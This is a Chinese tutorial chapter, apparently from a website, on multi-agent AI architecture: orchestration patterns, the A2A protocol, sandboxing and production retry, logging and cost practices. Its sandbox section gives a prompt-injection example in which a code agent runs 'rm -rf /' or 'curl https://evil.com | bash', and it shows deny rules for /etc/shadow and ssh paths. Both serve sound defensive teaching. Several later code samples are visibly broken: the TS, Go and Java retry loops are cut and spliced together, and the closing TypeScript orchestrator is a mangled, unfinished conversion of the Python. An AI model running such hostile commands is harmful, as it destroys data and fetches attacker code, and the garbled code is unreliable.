11016 字
约 36 分钟
1
第14章 多Agent系统架构
2026-09-18
第14章 多Agent系统架构
来源：https://ai-agent-guide.xiaofuge.cn/chapters/ch10-multi-agent.html 所属：第四篇-协作与编排
从一个 Agent 到一个 Agent 团队
14.1 单 Agent 的瓶颈
单个 Agent 就像一个"全栈工程师"——什么都干。但随着任务复杂度提升，瓶颈出现：
❌ 单 Agent 的瓶颈
- Prompt 膨胀：所有工具+规则塞一个 prompt
- 角色混乱：又要搜索又要分析又要写报告
- 错误传播：一步错步步错，无法纠偏
- 上下文爆炸：长任务 token 消耗线性增长
- 无法并行：串行执行效率低
✅ 多 Agent 的优势
- 职责分离：每个 Agent 专注一个角色
- Prompt 精简：每个 Agent 只需自己的工具和规则
- 互相纠错：Agent 之间可以审查和纠正
- 并行执行：独立子任务同时进行
- 可扩展：新增能力只需加新 Agent
一个人干不过一个团队。单 Agent 是全栈工程师，多 Agent 是专业团队。
14.2 四种经典协作模式
多个 Agent 如何协同工作，决定了系统的可控性、并行度和成本。业界沉淀出四种经典模式，它们在"中心化程度"上构成一个光谱：从完全预设流程的串行流水线，到有一个中心大脑的编排者模式，再到强调对抗的辩论模式，最后是完全去中心化的自主协作。中心化程度越高，行为越可预测但灵活性越低；去中心化程度越高，能力越强但越难调试和控制。选型的本质，是在任务的确定性和所需灵活性之间做权衡——流程固定的任务用流水线，目标开放的任务用编排者或自主协作。下面这张全景图对比了四种模式的结构与适用场景：
14.3 编排者-执行者模式详解
这是最常用的多 Agent 模式。编排者（Orchestrator）像项目经理，执行者（Worker）像各专业工程师。
编排者的核心职责
编排者 Agent 的 Prompt 示例
你是一个任务编排者。你的职责：
1. 分析任务：理解用户需求，判断需要哪些专业 Agent
2. 分配任务：将子任务分配给合适的 Worker Agent
3. 整合结果：收集各 Agent 的输出，整合成完整答案
4. 质量控制：检查结果是否完整、正确，必要时重新分配
可用的 Worker Agent：
- search_agent: 擅长搜索和信息收集
- code_agent: 擅长写代码和数据处理
- writer_agent: 擅长写作和报告生成
输出格式：
{"assign": "agent_name", "task": "具体任务描述"}
或
{"final_answer": "整合后的完整回答"}
14.4 Agent 之间的通信机制
多 Agent 要协作，必须有通信机制。三种主流方案： | 方案 | 原理 | 代表框架 | 优缺点 | | --- | --- | --- | --- | | 消息传递 | Agent 通过消息队列通信 | AutoGen | ✓灵活 ✗可能死锁 | | 共享黑板 | 共享一块"黑板"读写 | CrewAI | ✓简单 ✗并发冲突 | | 图结构 | 定义节点和边的DAG | LangGraph | ✓可控 ✗不够灵活 | ## 14.5 主流多 Agent 框架对比 🏗️ 四大框架横向对比 | 框架 | 核心模式 | 通信方式 | 特点 | | --- | --- | --- | --- | | LangGraph | 图结构 | 状态传递 | 可控性强、可可视化 | | AutoGen | 消息传递 | 对话式 | 灵活、支持自由对话 | | CrewAI | 角色扮演 | 任务传递 | 易上手、角色化 | | MetaGPT | SOP标准流程 | 文档传递 | 模拟软件团队 | ## 14.6 A2A协议（Agent-to-Agent）
2025年4月9日，Google 发布了 A2A（Agent-to-Agent）协议——一个专门解决 Agent 与 Agent 之间协作的开放标准。如果说 MCP 解决的是 Agent 与工具的连接，那么 A2A 解决的是 Agent 与 Agent 的连接。
MCP 管 Agent ↔ 工具，A2A 管 Agent ↔ Agent。一个管"手"，一个管"嘴"。
为什么需要 A2A？
多 Agent 协作时，最大的痛点是互不相识：一个 Agent 不知道另一个 Agent 能做什么、怎么调用它。现有的框架（LangGraph、CrewAI等）只能在同一个系统内协作，跨系统的 Agent 之间几乎无法沟通。
**跨框架协作困境：**LangGraph 的 Agent 无法直接调用 CrewAI 的 Agent，AutoGen 的 Agent 无法发现 Dify 上的 Agent。每个框架都是一座孤岛。
A2A 协议的目标就是打破这些孤岛，让任何 Agent 都能发现、识别、协作其他 Agent，无论它们跑在哪个框架上。
A2A 的四大核心机制
🔐 A2A 协议四大核心机制
① Agent Card — 能力发现
每个 Agent 发布一个 JSON 元数据文件（Agent Card），描述自己的能力、技能、认证方式和交互协议。其他 Agent 通过读取 Agent Card 就能知道"你能做什么"。
② Task 生命周期管理
定义 Task 的完整生命周期：创建（created）→ 运行（working）→ 完成（completed）/ 失败（failed）/ 拒绝（rejected）。状态变更实时同步，支持长时间任务。
③ 消息协作
Agent 之间通过结构化消息（Message）传递协作信息。消息可包含文本、文件、表单等多种内容类型，支持多轮交互和上下文累积。
④ 安全认证机制
基于 OAuth2.0 / OpenID Connect 的认证体系。Agent 之间的每次交互都需要身份验证和权限校验，确保只有授权的 Agent 才能发起协作。
Agent Card：Agent 的"简历"
Agent Card 是 A2A 协议中最重要的概念——它就像 Agent 的一份公开简历，让其他 Agent 可以"读简历、识能力、定合作"。
Agent Card 示例（JSON 格式）
{
"name": "旅行规划Agent",
"description": "帮助用户规划旅行路线、预订机票酒店",
"url": "https://travel-agent.example.com/a2a",
"capabilities": [
{
"name": "route_planning",
"description": "根据目的地和偏好规划最优路线"
},
{
"name": "hotel_booking",
"description": "预订酒店并管理订单"
}
],
"authentication": {
"schemes": ["oauth2"]
},
"inputModes": ["text", "image"],
"outputModes": ["text", "file"]
}
有了 Agent Card，一个"天气查询 Agent"就能发现"旅行规划 Agent"的存在，并了解它的能力，从而主动发起协作。
Task 生命周期管理
A2A 协议定义了 Task 的完整状态流转。一个 Task 从创建到完成，经历多个状态：
关键设计：Task 支持长时间运行和状态推送。发起方可以通过轮询或推送获取 Task 状态变更，无需阻塞等待。
A2A 与 MCP 的区别 | 维度 | MCP（Model Context Protocol） | A2A（Agent-to-Agent） | | --- | --- | --- | | 连接对象 | Agent ↔ 外部工具/数据源 | Agent ↔ 另一个 Agent | | 类比 | USB-C：连接外设 | 社交网络：发现朋友 | | 发现机制 | 无（需手动配置工具列表） | Agent Card 自动发现 | | 交互模式 | 单向调用（调用工具获取结果） | 双向协作（多轮对话、状态同步） | | 发起方 | Anthropic（2024） | Google（2025） | | 协议层 | JSON-RPC 2.0 | HTTP + JSON（REST风格） | MCP 和 A2A 不是竞争关系，而是互补关系：MCP 让 Agent 有"手"（使用工具），A2A 让 Agent 有"嘴"（与其他 Agent 协作）。一个完整的 Agent 生态两者缺一不可。
A2A 协作流程图
以"旅行规划 + 天气查询"的跨 Agent 协作场景为例：
A2A 代码示例
# A2A 协议 — 发起跨 Agent 协作
import httpx
# Step 1: 发现 Agent（读取 Agent Card）
agent_card_url = "https://weather-agent.example.com/a2a/card.json"
agent_card = httpx.get(agent_card_url).json()
print(f"发现 Agent: {agent_card['name']}")
print(f"能力: {agent_card['capabilities']}")
# Step 2: 创建 Task（发起协作请求）
task_payload = {
"id": "task-20250701-001",
"message": {
"role": "user",
"parts": [
{"type": "text", "text": "查询杭州下周天气预报"}
]
}
}
response = httpx.post(
"https://weather-agent.example.com/a2a/tasks",
json=task_payload,
headers={"Authorization": "Bearer "}
)
task = response.json()
print(f"Task 状态: {task['status']['state']}") # working
# Step 3: 获取 Task 结果（轮询或推送）
result = httpx.get(
f"https://weather-agent.example.com/a2a/tasks/{task['id']}",
headers={"Authorization": "Bearer "}
)
if result.json()["status"]["state"] == "completed":
weather_data = result.json()["artifacts"]
print(f"天气结果: {weather_data}")
// A2A 协议 — 发起跨 Agent 协作
import axios from 'axios';
// Step 1: 发现 Agent（读取 Agent Card）
const agentCardUrl = 'https://weather-agent.example.com/a2a/card.json';
const agentCard = (await axios.get(agentCardUrl)).data;
console.log(`发现 Agent: ${agentCard.name}`);
console.log(`能力: ${agentCard.capabilities}`);
// Step 2: 创建 Task（发起协作请求）
const taskPayload = {
id: 'task-20250701-001',
message: {
role: 'user',
parts: [
{ type: 'text', text: '查询杭州下周天气预报' }
]
}
};
const response = await axios.post(
'https://weather-agent.example.com/a2a/tasks',
taskPayload,
{ headers: { Authorization: 'Bearer ' } }
);
const task = response.data;
console.log(`Task 状态: ${task.status.state}`); // working
// Step 3: 获取 Task 结果（轮询或推送）
const result = await axios.get(
`https://weather-agent.example.com/a2a/tasks/${task.id}`,
{ headers: { Authorization: 'Bearer ' } }
);
if (result.data.status.state === 'completed') {
const weatherData = result.data.artifacts;
console.log(`天气结果: ${weatherData}`);
}
// A2A 协议 — 发起跨 Agent 协作
package main
import (
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
)
func main() {
// Step 1: 发现 Agent（读取 Agent Card）
cardResp, _ := http.Get("https://weather-agent.example.com/a2a/card.json")
cardBody, _ := io.ReadAll(cardResp.Body)
var agentCard map[string]interface{}
json.Unmarshal(cardBody, &agentCard)
fmt.Printf("发现 Agent: %v\n", agentCard["name"])
fmt.Printf("能力: %v\n", agentCard["capabilities"])
// Step 2: 创建 Task（发起协作请求）
taskPayload := `{
"id": "task-20250701-001",
"message": {
"role": "user",
"parts": [{"type": "text", "text": "查询杭州下周天气预报"}]
}
}`
req, _ := http.NewRequest("POST", "https://weather-agent.example.com/a2a/tasks", strings.NewReader(taskPayload))
req.Header.Set("Authorization", "Bearer ")
req.Header.Set("Content-Type", "application/json")
resp, _ := http.DefaultClient.Do(req)
var task map[string]interface{}
json.NewDecoder(resp.Body).Decode(&task)
fmt.Printf("Task 状态: %v\n", task["status"].(map[string]interface{})["state"])
// Step 3: 获取 Task 结果（轮询或推送）
taskID := task["id"].(string)
resultReq, _ := http.NewRequest("GET", fmt.Sprintf("https://weather-agent.example.com/a2a/tasks/%s", taskID), nil)
resultReq.Header.Set("Authorization", "Bearer ")
resultResp, _ := http.DefaultClient.Do(resultReq)
var result map[string]interface{}
json.NewDecoder(resultResp.Body).Decode(&result)
if result["status"].(map[string]interface{})["state"] == "completed" {
fmt.Printf("天气结果: %v\n", result["artifacts"])
}
}
// A2A 协议 — 发起跨 Agent 协作
import java.net.URI;
import java.net.http.*;
import com.fasterxml.jackson.databind.*;
public class A2AClient {
private static final ObjectMapper mapper = new ObjectMapper();
private static final HttpClient client = HttpClient.newHttpClient();
public static void main(String[] args) throws Exception {
// Step 1: 发现 Agent（读取 Agent Card）
HttpResponse cardResp = client.send(
HttpRequest.newBuilder().uri(URI.create("https://weather-agent.example.com/a2a/card.json")).build(),
HttpResponse.BodyHandlers.ofString()
);
JsonNode agentCard = mapper.readTree(cardResp.body());
System.out.println("发现 Agent: " + agentCard.get("name").asText());
System.out.println("能力: " + agentCard.get("capabilities"));
// Step 2: 创建 Task（发起协作请求）
String taskPayload = mapper.writeValueAsString(mapper.createObjectNode()
.put("id", "task-20250701-001")
.set("message", mapper.createObjectNode()
.put("role", "user")
.set("parts", mapper.createArrayNode()
.add(mapper.createObjectNode().put("type", "text").put("text", "查询杭州下周天气预报")))));
HttpResponse resp = client.send(
HttpRequest.newBuilder().uri(URI.create("https://weather-agent.example.com/a2a/tasks"))
.header("Authorization", "Bearer ")
.header("Content-Type", "application/json")
.POST(HttpRequest.BodyPublishers.ofString(taskPayload)).build(),
HttpResponse.BodyHandlers.ofString()
);
JsonNode task = mapper.readTree(resp.body());
System.out.println("Task 状态: " + task.get("status").get("state").asText());
// Step 3: 获取 Task 结果（轮询或推送）
String taskId = task.get("id").asText();
HttpResponse resultResp = client.send(
HttpRequest.newBuilder().uri(URI.create("https://weather-agent.example.com/a2a/tasks/" + taskId))
.header("Authorization", "Bearer ").build(),
HttpResponse.BodyHandlers.ofString()
);
JsonNode result = mapper.readTree(resultResp.body());
if ("completed".equals(result.get("status").get("state").asText())) {
System.out.println("天气结果: " + result.get("artifacts"));
}
}
}
14.7 沙箱隔离与安全
Agent 的强大之处在于它能执行代码、访问文件、调用API。但这也带来了巨大的安全风险——如果 Agent 执行了恶意代码，后果可能是删除文件、泄露数据、甚至攻击系统。
**⚠️ 安全风险示例：**一个代码执行 Agent 被提示词注入攻击，执行了 rm -rf / 或 curl https://evil.com | bash，后果可能是灾难性的。沙箱就是给 Agent 一个"安全房间"，即使它在房间里捣乱，也不会影响外面的世界。
为什么需要沙箱？
❌ 无沙箱的风险
- Agent 执行恶意代码破坏系统
- Agent 访问敏感文件泄露数据
- Agent 连接恶意网络泄露信息
- 提示词注入攻击操控 Agent
✅ 沙箱的保护
- 代码在隔离环境中执行
- 文件系统访问受限制
- 网络连接受限制
- 即使被攻击也只影响沙箱
🎯 最小权限原则
- 只给 Agent 需要的权限
- 文件：只允许读写指定目录
- 网络：只允许访问指定域名
- 进程：只允许执行指定命令
四大沙箱方案对比
🔒 沙箱方案对比表 | 方案 | 隔离级别 | 原理 | 隔离维度 | 适用场景 | 成本 | | --- | --- | --- | --- | --- | --- | | Docker Sandbox | ⭐⭐⭐⭐⭐ 最强 | 微虚拟机独立内核 | 文件+网络+进程 | 高安全要求的代码执行 | 较高 | | bubblewrap | ⭐⭐⭐⭐ 强 | Linux namespace隔离 | 文件+网络 | Linux环境轻量沙箱 | 低 | | seatbelt (macOS) | ⭐⭐⭐⭐ 强 | macOS系统级沙箱 | 文件+网络+进程 | macOS环境Agent沙箱 | 低 | | E2B / PPIO | ⭐⭐⭐⭐⭐ 最强 | 云端微虚拟机 | 文件+网络+进程+硬件 | 云端安全代码执行 | 按使用计费 | ### Anthropic 沙箱方案详解
Anthropic（Claude 的开发商）在 Agent 安全方面提出了两种轻量级沙箱方案：
bubblewrap（Linux）
利用 Linux 的 namespace 和 seccomp 机制，创建轻量隔离环境。限制文件系统访问（只允许指定目录）、限制网络访问（只允许指定端口）、限制系统调用。启动速度快（毫秒级），无需完整虚拟机。
seatbelt（macOS）
macOS 内置的沙箱机制，通过 sandbox-exec 命令配置权限策略。可以精确控制文件读写路径、网络连接范围、进程权限。是 macOS 上最成熟的进程级沙箱方案。
沙箱权限配置示例
macOS seatbelt 沙箱配置示例
; seatbelt 沙箱策略文件 — 最小权限原则
; 只允许 Agent 读写指定目录，访问指定网络
(version 1)
(deny default) ; 默认拒绝所有操作
; 文件权限：只允许读写工作目录
(allow file-read* (subpath "/workspace/agent-data"))
(allow file-write* (subpath "/workspace/agent-output"))
; 网络权限：只允许访问指定API
(allow network-outbound (regex "https://api\\.openai\\.com"))
(allow network-outbound (regex "https://api\\.anthropic\\.com"))
; 进程权限：只允许执行Python
(allow process-exec (regex "/usr/bin/python3"))
(allow process-exec (regex "/usr/local/bin/pip3"))
; 拒绝危险操作
(deny file-read* (subpath "/etc/shadow"))
(deny file-read* (subpath "/Users/*/ssh"))
(deny network-outbound (regex ".*")) ; 先拒绝所有，再逐条放开
Linux bubblewrap 沙箱启动命令
# bubblewrap 沙箱 — 最小权限启动 Agent 代码执行
bwrap \
--ro-bind /usr /usr \ # 只读挂载系统目录
--ro-bind /lib /lib \ # 只读挂载库目录
--bind /workspace/agent-data /data \ # 可读写挂载工作目录
--dev /dev \ # 最小设备访问
--unshare-net \ # 禁用网络（如需网络则逐条放开）
--die-with-parent \ # 父进程退出时沙箱也退出
--new-session \ # 创建新session隔离
python3 /data/agent_task.py # 执行Agent任务
最小权限原则是沙箱安全的基石：默认拒绝所有权限，只逐条放开 Agent 必需的权限。宁可多一步手动配置，不可少一层安全防线。
14.8 多Agent系统的生产实践
从实验室到生产环境，多 Agent 系统需要面对数据格式、错误处理、监控追踪、成本控制四大工程挑战。
14.8.1 通信数据格式标准化
Agent 之间传递的数据必须有统一的格式约定，否则"鸡同鸭讲"：
📐 Agent 通信数据格式规范 | 字段 | 类型 | 说明 | | --- | --- | --- | | task_id | string | 唯一任务标识，用于追踪整个流转链路 | | from_agent | string | 发送方 Agent 名称/ID | | to_agent | string | 接收方 Agent 名称/ID | | content | object | 消息内容（文本/数据/文件引用） | | status | string | 任务状态（pending/running/completed/failed） | | timestamp | string | ISO8601时间戳，用于时序追踪和排序 | 标准化消息格式示例
# Agent 间通信的标准化消息格式
{
"task_id": "task-20250701-001",
"from_agent": "search_agent",
"to_agent": "analysis_agent",
"content": {
"type": "search_results",
"data": [
{"title": "2025年AI发展趋势", "url": "...", "summary": "..."},
{"title": "多Agent协作最新进展", "url": "...", "summary": "..."}
]
},
"status": "completed",
"timestamp": "2025-07-01T10:30:00Z",
"metadata": {
"tokens_used": 1520,
"execution_time_ms": 3500
}
}
14.8.2 错误处理与重试策略
多 Agent 系统中，任何一个 Agent 都可能出错。关键是要有容错机制，不让一个 Agent 的失败拖垮整个系统：
① 降级策略
某个 Agent 失败时，编排者降级处理：跳过该步骤或用备选 Agent 替代。例如搜索 Agent 超时，编排者用缓存数据替代。
② 重试策略
可恢复的错误（网络抖动、API限流）采用指数退避重试。最多重试 3 次，每次间隔递增（1s→4s→16s）。不可恢复的错误直接降级。
③ 级联阻断
设置超时上限和重试上限。如果一个 Agent 重试3次仍失败，编排者放弃该子任务，用部分结果继续推进，而非无限等待。
④ 任务完成标准
提前定义清晰的任务完成标准（如输出格式校验、关键信息完整性检查），满足条件立即终止任务，避免无效迭代。配合最大迭代次数和状态机控制，从机制上杜绝无限循环。
# 多 Agent 错误处理与重试策略
import asyncio
from datetime import datetime
class AgentRetryPolicy:
"""Agent 重试策略配置"""
max_retries = 3 # 最大重试次数
base_delay = 1.0 # 基础延迟（秒）
max_delay = 60.0 # 最大延迟（秒）
timeout_per_attempt = 30 # 单次超时（秒）
def get_delay(self, attempt: int) -> float:
"""指数退避：1s → 4s → 16s"""
delay = self.base_delay * (2 ** attempt)
return min(delay, self.max_delay)
async def call_agent_with_retry(agent, task, policy=AgentRetryPolicy()):
"""带重试的 Agent 调用"""
for attempt in range(policy.max_retries + 1):
try:
result = await asyncio.wait_for(
agent.execute(task),
timeout=policy.timeout_per_attempt
)
return result # 成功，返回结果
except asyncio.TimeoutError:
print(f"[{datetime.now()}] Agent {agent.name} 超时，"
f"第 {attempt + 1} 次重试")
except ConnectionError as e:
print(f"[{datetime.now()}] Agent {agent.name} 连接错误: {e}")
if attempt >= policy.max_retries:
return {"status": "failed", "reason": "连接不可恢复"}
except Exception as e:
print(f"[{datetime.now()}] Agent {agent.name} 未知错误: {e}")
return {"status": "failed", "reason": str(e)}
# 等待退避时间后重试
delay = policy.get_delay(attempt)
await asyncio.sleep(delay)
# 重试耗尽，降级处理
return {"status": "degraded", "reason": "重试耗尽，降级处理"}
// 多 Agent 错误处理与重试策略
class AgentRetryPolicy {
maxRetries = 3; // 最大重试次数
baseDelay = 1.0; // 基础延迟（秒）
maxDelay = 60.0; // 最大延迟（秒）
timeoutPerAttempt = 30; // 单次超时（秒）
getDelay(attempt: number): number {
// 指数退避：1s → 4s → 16s
const delay = this.baseDelay * Math.pow(2, attempt);
return Math.min(delay, this.maxDelay);
}
}
async function callAgentWithRetry(agent: any, task: any, policy = new AgentRetryPolicy()): Promise {
for (let attempt = 0; attempt
setTimeout(() => reject(new Error('Timeout')), policy.timeoutPerAttempt * 1000)
)
]);
return result; // 成功，返回结果
} catch (err: any) {
if (err.message === 'Timeout') {
console.log(`[${new Date().toISOString()}] Agent ${agent.name} 超时，第 ${attempt + 1} 次重试`);
} else if (err.code === 'ECONNREFUSED') {
console.log(`[${new Date().toISOString()}] Agent ${agent.name} 连接错误: ${err.message}`);
if (attempt >= policy.maxRetries) {
return { status: 'failed', reason: '连接不可恢复' };
}
} else {
console.log(`[${new Date().toISOString()}] Agent ${agent.name} 未知错误: ${err.message}`);
return { status: 'failed', reason: err.message };
}
// 等待退避时间后重试
const delay = policy.getDelay(attempt);
await new Promise(resolve => setTimeout(resolve, delay * 1000));
}
}
// 重试耗尽，降级处理
return { status: 'degraded', reason: '重试耗尽，降级处理' };
}
// 多 Agent 错误处理与重试策略
package main
import (
"fmt"
"math"
"time"
)
type AgentRetryPolicy struct {
MaxRetries int // 最大重试次数
BaseDelay float64 // 基础延迟（秒）
MaxDelay float64 // 最大延迟（秒）
TimeoutPerAttempt int // 单次超时（秒）
}
func (p AgentRetryPolicy) GetDelay(attempt int) float64 {
// 指数退避：1s → 4s → 16s
delay := p.BaseDelay * math.Pow(2, float64(attempt))
return math.Min(delay, p.MaxDelay)
}
type Agent interface {
Execute(task interface{}) (interface{}, error)
Name() string
}
func CallAgentWithRetry(agent Agent, task interface{}, policy AgentRetryPolicy) interface{} {
if policy.MaxRetries == 0 {
policy = AgentRetryPolicy{MaxRetries: 3, BaseDelay: 1.0, MaxDelay: 60.0, TimeoutPerAttempt: 30}
}
for attempt := 0; attempt = policy.MaxRetries {
return map[string]string{"status": "failed", "reason": "不可恢复"}
}
case T callAgentWithRetry(AgentExecutor agent, Object task, AgentRetryPolicy policy) {
AtomicInteger attempt = new AtomicInteger(0);
while (attempt.get() agent.execute(task));
T result = future.get(policy.timeoutPerAttempt, TimeUnit.SECONDS);
executor.shutdown();
return result; // 成功，返回结果
} catch (TimeoutException e) {
System.out.printf("[%s] Agent %s 超时，第 %d 次重试%n",
LocalDateTime.now(), agent.getName(), attempt.get() + 1);
} catch (ExecutionException e) {
if (e.getCause() instanceof java.net.ConnectException) {
System.out.printf("[%s] Agent %s 连接错误: %s%n",
LocalDateTime.now(), agent.getName(), e.getCause().getMessage());
if (attempt.get() >= policy.maxRetries) {
return null; // 连接不可恢复
}
} else {
System.out.printf("[%s] Agent %s 未知错误: %s%n",
LocalDateTime.now(), agent.getName(), e.getCause());
return null;
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
return null;
}
// 等待退避时间后重试
try {
Thread.sleep((long) (policy.getDelay(attempt.get()) * 1000));
} catch (InterruptedException ie) {
Thread.currentThread().interrupt();
}
attempt.incrementAndGet();
}
// 重试耗尽，降级处理
return null;
}
interface AgentExecutor {
T execute(Object task) throws Exception;
String getName();
}
}
14.8.3 监控与可观测性
生产环境中，你需要知道每个 Agent 做了什么、花了多少、是否异常。这需要完整的可观测性体系： 📊 Agent 可观测性三支柱
日志（Logging）
记录每个 Agent 的输入、输出、决策过程。结构化日志（JSON格式），包含 task_id、agent_name、timestamp，便于检索和回溯。
指标（Metrics）
量化指标：Token 消耗量、执行时间、成功/失败率、重试次数。用 Prometheus + Grafana 可视化，设阈值告警。
追踪（Tracing）
跟踪一个任务在多个 Agent 之间的完整流转链路。类似微服务的分布式追踪，每个 Agent 是一个"span"，task_id 是"trace_id"。
# 结构化日志 — Agent 行为追踪
import structlog
logger = structlog.get_logger()
# 编排者分配任务时记录
logger.info("task_assigned",
task_id="task-20250701-001",
from_agent="orchestrator",
to_agent="search_agent",
task_desc="搜索AI发展趋势",
timestamp="2025-07-01T10:30:00Z")
# 搜索 Agent 完成时记录
logger.info("task_completed",
task_id="task-20250701-001",
agent="search_agent",
tokens_used=1520,
execution_time_ms=3500,
result_count=5)
# 分析 Agent 处理时记录
logger.info("task_started",
task_id="task-20250701-001",
agent="analysis_agent",
input_from="search_agent",
timestamp="2025-07-01T10:33:30Z")
# 追踪链路可视化：
# orchestrator → search_agent → analysis_agent → writer_agent
# 每一步都有 task_id 关联，可完整回溯
// 结构化日志 — Agent 行为追踪
import pino from 'pino';
const logger = pino();
// 编排者分配任务时记录
logger.info({
task_id: 'task-20250701-001',
from_agent: 'orchestrator',
to_agent: 'search_agent',
task_desc: '搜索AI发展趋势',
timestamp: '2025-07-01T10:30:00Z'
}, 'task_assigned');
// 搜索 Agent 完成时记录
logger.info({
task_id: 'task-20250701-001',
agent: 'search_agent',
tokens_used: 1520,
execution_time_ms: 3500,
result_count: 5
}, 'task_completed');
// 分析 Agent 处理时记录
logger.info({
task_id: 'task-20250701-001',
agent: 'analysis_agent',
input_from: 'search_agent',
timestamp: '2025-07-01T10:33:30Z'
}, 'task_started');
// 追踪链路可视化：
// orchestrator → search_agent → analysis_agent → writer_agent
// 每一步都有 task_id 关联，可完整回溯
// 结构化日志 — Agent 行为追踪
package main
import (
"log/slog"
"os"
)
func main() {
logger := slog.New(slog.NewJSONHandler(os.Stdout, nil))
// 编排者分配任务时记录
logger.Info("task_assigned",
"task_id", "task-20250701-001",
"from_agent", "orchestrator",
"to_agent", "search_agent",
"task_desc", "搜索AI发展趋势",
"timestamp", "2025-07-01T10:30:00Z")
// 搜索 Agent 完成时记录
logger.Info("task_completed",
"task_id", "task-20250701-001",
"agent", "search_agent",
"tokens_used", 1520,
"execution_time_ms", 3500,
"result_count", 5)
// 分析 Agent 处理时记录
logger.Info("task_started",
"task_id", "task-20250701-001",
"agent", "analysis_agent",
"input_from", "search_agent",
"timestamp", "2025-07-01T10:33:30Z")
// 追踪链路可视化：
// orchestrator → search_agent → analysis_agent → writer_agent
// 每一步都有 task_id 关联，可完整回溯
}
// 结构化日志 — Agent 行为追踪
import com.fasterxml.jackson.databind.ObjectMapper;
import org.slf4j.*;
public class AgentLogger {
private static final Logger logger = LoggerFactory.getLogger(AgentLogger.class);
private static final ObjectMapper mapper = new ObjectMapper();
public static void main(String[] args) throws Exception {
// 编排者分配任务时记录
logger.info("task_assigned", kv("task_id", "task-20250701-001"),
kv("from_agent", "orchestrator"), kv("to_agent", "search_agent"),
kv("task_desc", "搜索AI发展趋势"), kv("timestamp", "2025-07-01T10:30:00Z"));
// 搜索 Agent 完成时记录
logger.info("task_completed", kv("task_id", "task-20250701-001"),
kv("agent", "search_agent"), kv("tokens_used", 1520),
kv("execution_time_ms", 3500), kv("result_count", 5));
// 分析 Agent 处理时记录
logger.info("task_started", kv("task_id", "task-20250701-001"),
kv("agent", "analysis_agent"), kv("input_from", "search_agent"),
kv("timestamp", "2025-07-01T10:33:30Z"));
// 追踪链路可视化：
// orchestrator → search_agent → analysis_agent → writer_agent
// 每一步都有 task_id 关联，可完整回溯
}
private static Object kv(String key, Object value) {
return key + "=" + value;
}
}
14.8.4 成本控制：Token 消耗管理
多 Agent 系统的 Token 消耗是倍增的——3 个 Agent 各独立调用 LLM，总消耗是 3 倍。不加控制，一个小任务可能烧掉几美元的 Token：
**成本倍增效应：**单 Agent 完成一个任务消耗 1000 Token。3 个 Agent 各消耗 1000 Token，加上编排者消耗 500 Token，总计 3500 Token——是单 Agent 的 3.5 倍。如果 Agent 数量更多、任务更长，成本快速失控。
💰 Token 成本控制五大策略 | 策略 | 原理 | 效果 | | --- | --- | --- | | 按需分配 | 编排者只在需要时才调用 Agent，避免无效调用 | 减少 30-50% 无效 Token | | 精简 Prompt | 每个 Agent 的 Prompt 只包含自己的工具和规则 | 减少 40-60% 上下文 Token | | 结果压缩 | Agent 输出只传递关键信息而非完整上下文 | 减少 50-70% 传递 Token | | 分级模型 | 简单任务用小模型（GPT-4o-mini），复杂任务用大模型 | 成本降低 60-80% | | 预算上限 | 设置单任务/单日 Token 预算上限，超限降级处理 | 防止成本失控 | ### 14.8.5 实战案例：调研+分析+写作多Agent工作流
以一个完整的"行业调研报告生成"场景为例，展示多 Agent 编排的全流程：
# 生产级多 Agent 工作流编排
import asyncio
from dataclasses import dataclass
from typing import Optional
@dataclass
class AgentResult:
agent_name: str
status: str # completed / failed / degraded
content: dict
tokens_used: int
execution_time_ms: int
class ProductionOrchestrator:
"""生产级编排者：带错误处理、成本控制、追踪"""
def __init__(self, budget_limit_tokens=10000):
self.budget_limit = budget_limit_tokens
self.total_tokens = 0
self.trace_log = []
async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
"""完整的调研+分析+写作工作流"""
# Step 1: 编排者拆分任务
self._log("orchestrator", "task_split", user_request)
subtasks = self._split_task(user_request)
# Step 2: 并行执行调研和分析
results = await asyncio.gather(
self._call_agent("research_agent", subtasks["research"]),
self._call_agent("analysis_agent", subtasks["analysis"]),
return_exceptions=True # 容错：不因一个失败而中断
)
# Step 3: 处理结果（容错降级）
research_result = self._handle_result(results[0], "research")
analysis_result = self._handle_result(results[1], "analysis")
# Step 4: 检查预算
if self.total_tokens > self.budget_limit:
self._log("orchestrator", "budget_exceeded",
f"已用 {self.total_tokens} tokens")
return {"status": "budget_exceeded",
"partial_results": [research_result, analysis_result]}
# Step 5: 合并后调用写作 Agent
merged_input = self._merge_results(research_result, analysis_result)
writer_result = await self._call_agent("writer_agent", merged_input)
# Step 6: 审核 Agent 检查质量
review_result = await self._call_agent("review_agent", {
"draft": writer_result.content,
"criteria": "完整性、准确性、可读性"
})
if review_result.content.get("approved"):
return {"status": "completed",
"report": writer_result.content,
"trace": self.trace_log}
else:
# 审核未通过 → 修改后重新提交写作（限制修改次数，防止无限递归）
self._log("review_agent", "revision_needed",
review_result.content.get("issues"))
if max_revisions > 0:
return await self.run_workflow(user_request, max_revisions - 1)
else:
return {"status": "completed_with_issues",
"report": writer_result.content,
"trace": self.trace_log,
"note": "达到最大修改次数，返回当前版本"}
def _split_task(self, request: str) -> dict:
"""编排者拆分任务"""
return {
"research": f"搜索以下主题的最新资料: {request}",
"analysis": f"对已有数据进行统计分析: {request}"
}
def _handle_result(self, result, agent_name: str) -> AgentResult:
"""容错处理：异常降级"""
if isinstance(result, Exception):
self._log(agent_name, "failed", str(result))
return AgentResult(agent_name, "degraded",
{"note": "降级处理，使用缓存数据"}, 0, 0)
self.total_tokens += result.tokens_used
return result
def _log(self, agent: str, event: str, detail: str):
"""追踪日志"""
self.trace_log.append({
"agent": agent, "event": event,
"detail": detail, "timestamp": "2025-07-01T..."
})
// 生产级多 Agent 工作流编排
// Node.js built-in or npm package for: asyncio
import {dataclass} from 'dataclasses';
// TypeScript has built-in types, no import needed for Optional
// @dataclass
class AgentResult {
// agent_name: str
// status: str # completed / failed / degraded
// content: dict
// tokens_used: int
// execution_time_ms: int
class ProductionOrchestrator {
/** docstring */
constructor(budget_limit_tokens=10000) {
// self.budget_limit = budget_limit_tokens
// self.total_tokens = 0
// self.trace_log = []
// async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
/** docstring */
// Step 1: 编排者拆分任务
// self._log("orchestrator", "task_split", user_request)
// subtasks = self._split_task(user_request)
// Step 2: 并行执行调研和分析
// results = await asyncio.gather(
// self._call_agent("research_agent", subtasks["research"]),
// self._call_agent("analysis_agent", subtasks["analysis"]),
// return_exceptions = True # 容错：不因一个失败而中断
// )
// Step 3: 处理结果（容错降级）
